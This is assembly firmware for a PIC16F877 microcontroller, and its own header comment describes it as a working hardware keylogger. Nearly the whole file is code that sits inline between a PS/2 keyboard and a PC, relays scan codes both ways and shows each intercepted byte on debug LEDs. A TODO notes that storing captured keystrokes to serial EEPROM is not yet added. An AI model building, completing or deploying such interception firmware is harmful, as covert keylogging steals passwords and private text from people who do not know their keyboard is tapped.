;http://panda.cs.ndsu.nodak.edu/~achapwes/PICmicro/ ;http://www.iptel-now.de/HOWTO/PIC/pic.html ;Also much thanks to gnupic.org, gputils.sourceforge.net, and picp. ;All work done in GNU/Linux. ;PORTB is eight led's used for debugging. ;PORTA pins are defined below... ;Serial should be obvious or you should go read the PIC16F877 datasheet. ;) ;Working keylogger... will boot machines. ;TODO: add in code to use some serial eeproms 24LC256. list p=16f877 ; list directive to define processor #include "p16f877.inc" ; processor specific variable definitions __CONFIG _CP_OFF & _WDT_OFF & _BODEN_OFF & _PWRTE_OFF & _HS_OSC & _WRT_ENABLE_ON & _LVP_OFF & _DEBUG_OFF & _CPD_OFF ;***** VARIABLE DEFINITIONS w_temp EQU 0x70 ; variable used for context saving status_temp EQU 0x71 ; variable used for context saving in_delay EQU 0x20 ; inner loop delay varible out_delay EQU 0x21 ; outer loop delay variable COUNTER EQU 0x22 TEMP0 EQU 0x23 TEMP1 EQU 0x24 TEMP2 EQU 0x25 PARITY EQU 0x26 RECEIVE EQU 0x27 ;baud_constant EQU D'51' ; 2MHz/2400=[Fosc/(16*baud rate)] - 1 baud_constant EQU D'129' ; 20MHz/9600=[Fosc/(16*baud rate)] - 1 #define KB_CLOCK PORTA, 0x0 #define KB_DATA PORTA, 0x1 #define PC_CLOCK PORTA, 0x2 #define PC_DATA PORTA, 0x3 ;********************************************************************** ORG 0x000 ; processor reset vector clrf PCLATH ; ensure page bits are cleared goto main ; go to beginning of program ORG 0x004 ; interrupt vector location movwf w_temp ; save off current W register contents movf STATUS,w ; move status register into W register movwf status_temp ; save off contents of STATUS register ; isr code can go here or be located as a call subroutine elsewhere movf status_temp,w ; retrieve copy of STATUS register movwf STATUS ; restore pre-isr STATUS register contents swapf w_temp,f swapf w_temp,w ; restore pre-isr W register contents retfie ; return from interrupt main ;set up PORTA and PORTB bcf STATUS, RP0 ; bcf STATUS, RP1 ; bsf STATUS, RP0 ; Goto Bank 1 to set Port Direction movlw 0x00 ; set B:7 and B:6 as input. movwf TRISB ; movlw 0x06 ; set up PORTA as ALL digital (check ADCON1) movwf ADCON1 ; register info movlw 0x3F ; set up PORTA input movwf TRISA ; bcf STATUS, RP0 ; Go back to Bank 0 clrf PORTA ; clear port a clrf PORTB ; Clear all the Bits in Port "b" ;get power up ok from keyboard call PS2get ; write value to port b movwf PORTB ; put it on the led's work call Inhibit ; stop kb btfss PC_DATA ; test if PC wants to say anything call ForwardToKB ; if so, send it to KB call NoInhibit ; start kb btfss KB_DATA ; test if KB want to say anything call ForwardToPC ; if so, send it to PC goto work ; idle task so we don't run off the end ForwardToKB call ByteIn movfw RECEIVE call PS2cmd return ForwardToPC call NoInhibit ;let the kb send data call PS2get call Inhibit ;tell it to stop, to forward to computer movwf PORTB call ByteOut return TestCap movwf TEMP0 xorlw 0x58 btfsc STATUS, Z goto CapOn movfw TEMP0 ;if it isn't caps then return without doing anything call ByteOut return CapOn movlw 0xFF ;test movwf PORTB movfw TEMP0 call ByteOut movlw 0xFE ;test movwf PORTB call ByteIn movwf PORTB ;don't actually send it to keyboard yet movlw 0xFA call ByteOut movlw 0xFD ;test movwf PORTB call ByteIn movwf PORTB movlw 0xFA call ByteOut movlw 0xFC ;test movwf PORTB return delay_micro movwf out_delay ; reload_micro movlw 0x2 ; movwf in_delay ; set up delay var for next loop delay_loop_micro decfsz in_delay, 0x01 ; goto delay_loop_micro; decfsz out_delay, 0x01 ; goto reload_micro ; return ; ByteIn btfss PC_CLOCK ;Wait for start bit goto ByteIn btfsc PC_DATA goto ByteIn movlw 0x08 movwf COUNTER clrf PARITY ;Init reg for parity calc ;Delay 28 movlw 0x0D call delay_micro ByteInLoop call BitIn ;Clock in Data bits btfss PC_CLOCK ;Test for inhibit retlw 0xFE bcf STATUS, C rrf RECEIVE, f iorwf RECEIVE, f xorwf PARITY,f decfsz COUNTER, f goto ByteInLoop ;Delay 1 movlw 0x01 call delay_micro call BitIn ;Clock in Parity bit btfss PC_CLOCK ;Test for inhibit retlw 0xFE xorwf PARITY, f ;Delay 5 movlw 0x03 call delay_micro ByteInLoop1 ;Delay 1 movlw 0x01 call delay_micro call BitIn ;Clock in Stop bit btfss PC_CLOCK ;Test for inhibit retlw 0xFE xorlw 0x00 btfsc STATUS, Z ;Stop bit = 1? clrf PARITY ; No--cause an error condition. btfsc STATUS, Z ;Stop bit = 1? goto ByteInLoop1 ; No--keep clocking. ;bsf STATUS, RP0 ;Acknowledge ;bcf PC_DATA call ClearData ;Delay 11 movlw 0x06 call delay_micro ;bcf PC_CLOCK call ClearClock ;Delay 45 movlw 0x17 call delay_micro ;bsf PC_CLOCK call SetClock ;Delay 7 movlw 0x05 call delay_micro ;bsf PC_DATA call SetData ;bcf STATUS, RP0 btfss PARITY, 7 ;Parity correct? retlw 0xFF ; No--return error ;Delay 45 movlw 0x17 call delay_micro retlw 0x00 BitIn ;Delay 8 movlw 0x05 call delay_micro ;bsf STATUS, RP0 ;bcf PC_CLOCK call ClearClock ;Delay 45 movlw 0x17 call delay_micro ;bsf PC_CLOCK call SetClock ;bcf STATUS, RP0 ;Delay 21 movlw 0x0B call delay_micro btfsc PC_DATA retlw 0x80 retlw 0x00 ByteOut movwf TEMP0 ;Save to-be-sent byte InhibitLoop btfss PC_CLOCK ;Check for inhibit goto InhibitLoop ;Delay 50 ;Delay 50 microseconds movlw 0x1A call delay_micro btfss PC_CLOCK ;Check again for inhibit goto InhibitLoop btfss PC_DATA ;Check for request-to-send retlw 0xFF clrf PARITY ;Init reg for parity calc movlw 0x08 movwf COUNTER movlw 0x00 call BitOut ;Output Start bit (0) btfss PC_CLOCK ;Test for inhibit goto ByteOutEnd ;Delay 4 movlw 0x02 call delay_micro ByteOutLoop movf TEMP0, w xorwf PARITY, f ;Calculate parity call BitOut ;Output Data bits btfss PC_CLOCK ;Test for inhibit goto ByteOutEnd rrf TEMP0, f decfsz COUNTER, f goto ByteOutLoop ;Delay 2 movlw 0x01 call delay_micro comf PARITY, w call BitOut ;Output Parity bit btfss PC_CLOCK ;Test for inhibit goto ByteOutEnd ;Delay 5 movlw 0x03 call delay_micro movlw 0xFF call BitOut ;Output Stop bit (1) ;Delay 48 movlw 0x18 call delay_micro retlw 0x00 ByteOutEnd ;bsf STATUS, RP0 ;Host has aborted ;bsf PC_DATA ;PC_DATA=1 ;bsf PC_CLOCK ;PC_CLOCK=1 ;bcf STATUS, RP0 call SetData call SetClock retlw 0xFE BitOut ;bsf STATUS, RP0 ;first set the value and then turn on the pin andlw 0x01 btfss STATUS, Z ;bsf PC_DATA call SetData ;make a 1 btfsc STATUS, Z ;bcf PC_DATA call ClearData ;make a 0 ;Delay 21 movlw 0x0B call delay_micro ;bcf PC_CLOCK call ClearClock ;Delay 45 movlw 0x17 call delay_micro ;bsf PC_CLOCK call SetClock ;bcf STATUS, RP0 ;Delay 5 movlw 0x03 call delay_micro return SetData bsf STATUS, RP0 ;make it an input to let it be high bsf PC_DATA bcf STATUS, RP0 return ClearData bcf PC_DATA bsf STATUS, RP0 bcf PC_DATA bcf STATUS, RP0 return SetClock bsf STATUS, RP0 ;make it an input to let it be high bsf PC_CLOCK bcf STATUS, RP0 return ClearClock bcf PC_CLOCK bsf STATUS, RP0 bcf PC_CLOCK bcf STATUS, RP0 return NoInhibit bsf STATUS, RP0 ;make it an input to let it be high bsf KB_CLOCK bcf STATUS, RP0 return Inhibit bcf KB_CLOCK bsf STATUS, RP0 bcf KB_CLOCK bcf STATUS, RP0 return PS2get call PS2getBit ;Get/ignore the start bit movlw 0x08 ;Load Counter movwf COUNTER PS2getLoop bcf STATUS, C rrf TEMP0, f call PS2getBit ;Read a data bit from the keyboard iorwf TEMP0, f decfsz COUNTER, f ;Read 8 data bits yet? goto PS2getLoop call PS2getBit ;Get/ignore parity bit. call PS2getBit ;Get/ignore stop bit movf TEMP0, w ;Result in w. return PS2getBit btfss KB_CLOCK ;Make sure clock is high. goto $ - 1 btfsc KB_CLOCK goto $ - 1 goto $ + 1 btfss KB_DATA ;Read data. retlw 0x00 retlw 0x80 ;after every command sent you get back an acknowledge 0xfa PS2cmd: movwf TEMP0 ;Store to-be-sent byte movlw 0x08 ;Initialize a counter movwf TEMP1 clrf TEMP2 ;Used for parity calc bsf STATUS, RP0 bcf KB_CLOCK bcf STATUS, RP0 bcf KB_CLOCK ;Inhibit communication movlw 0x35 ;set delay to 100 microseconds 0x32=50 call delay_micro ;for at least 100 microseconds bsf STATUS, RP0 bcf KB_DATA bcf STATUS, RP0 bcf KB_DATA ;Pull KB_DATA low movlw 0x04 ;set delay to 5 microseconds call delay_micro ;for at least 5 microseconds bsf STATUS, RP0 bsf KB_CLOCK ;Release KB_CLOCK bcf STATUS, RP0 PS2cmdLoop: movf TEMP0, w xorwf TEMP2, f ;Parity calc call PS2cmdBit ;Output 8 data bits rrf TEMP0, f decfsz TEMP1, f goto PS2cmdLoop comf TEMP2, w call PS2cmdBit ;Output parity bit movlw 0x01 call PS2cmdBit ;Output stop bit (1) btfsc KB_CLOCK ;Wait for acknowledge goto $ - 1 btfss KB_CLOCK goto $ - 1 return PS2cmdBit: btfsc KB_CLOCK ;Wait for KB_CLOCK=low goto $ - 1 bsf STATUS, RP0 andlw 0x01 btfss STATUS, Z ;Set/Reset KB_DATA line bsf KB_DATA btfsc STATUS, Z bcf KB_DATA bcf STATUS, RP0 btfss KB_CLOCK ;Wait for KB_CLOCK=high goto $ - 1 return delay movlw 0xFF ; movwf out_delay ; reload movlw 0xFF ; movwf in_delay ; set up delay var for next loop delay_loop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop decfsz in_delay, 0x01 ; goto delay_loop ; decfsz out_delay, 0x01 ; goto reload ; return ; ;THE END! END ; directive 'end of program'